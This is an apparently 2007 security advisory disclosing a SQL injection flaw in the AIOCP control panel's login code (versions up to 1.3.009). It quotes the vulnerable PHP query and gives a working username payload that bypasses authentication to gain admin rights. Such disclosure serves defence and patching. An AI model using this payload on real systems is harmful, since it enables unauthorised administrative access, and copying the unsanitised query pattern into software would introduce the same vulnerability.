[i] Product Name: AIOCP - All In One Control Panel [i] Vulnerable Versions: <= 1.3.009 [i] Bug found by: Coloss [i] Contact: coloss7@gmail.com [i] Date: 9.1.2007 [i] Spec: AIOCP doesn't check the username posted by the client before using this to check authentication, so SQL Injection is possible Example shows how to bypass login [i] Other infos: This works with magic_quotes_gpc = Off [i] Workaround: Edit source code to properly check username No official patch is yet available [Analysis] [Unique Step] File: AIOCP/shared/code/cp_authorization.php 90 if ((isset($_POST['logaction'])) AND ($_POST['logaction'] == "login")) { 91 $xuser_password = md5($_POST['xuser_password']); // one-way password encoding 92 // check if submitted login information are correct 93 $sql = "SELECT * FROM ".K_TABLE_USERS." WHERE user_name='".$_POST['xuser_name']."' AND user_password='".$xuser_password."'"; 94 if($r = F_aiocpdb_query($sql, $db)) { 95 if($m = F_aiocpdb_fetch_array($r)) { 96 // sets some user's session data 97 $_SESSION['session_user_id'] = $m['user_id']; 98 $_SESSION['session_user_name'] = $m['user_name']; 99 $_SESSION['session_user_ip'] = $_SERVER['REMOTE_ADDR']; 100 $_SESSION['session_user_level'] = $m['user_level']; 101 $_SESSION['session_user_language'] = $m['user_language']; 102 $_SESSION['session_alt_menu'] = 0; //default alternative menu disabled 103 // read client cookie 104 if(isset($_COOKIE['LastVisit'])) { 105 $_SESSION['session_last_visit'] = $_COOKIE['LastVisit']; 106 } 107 else { 108 $_SESSION['session_last_visit'] = 0; 109 } 110 $logged=TRUE; 111 } 112 else { 113 F_print_error("WARNING", $l['m_login_wrong']); 114 } 115 } 116 else { 117 F_display_db_error(); 118 } 119 } Parameters username and password are posted by the user on any login form. Password is crypted with md5() so it cannot be used to perform any attack. Otherwise username isn't checked before the SQL query is performed. [POC] In: http://www.example.org/AIOCP/admin/code/index.php Username: [sql] Password: [Exploit example] In: http://www.example.org/AIOCP/admin/code/index.php Username: ' OR user_id = '2' UNION SELECT * FROM aiocp_users WHERE user_name=' Password: So you 'll get admin rights. (you 'll get rights of user with id = 2, usually admin) Note: You have to substitute user_id = '' with some existing user_id.. usually 2 is admin user id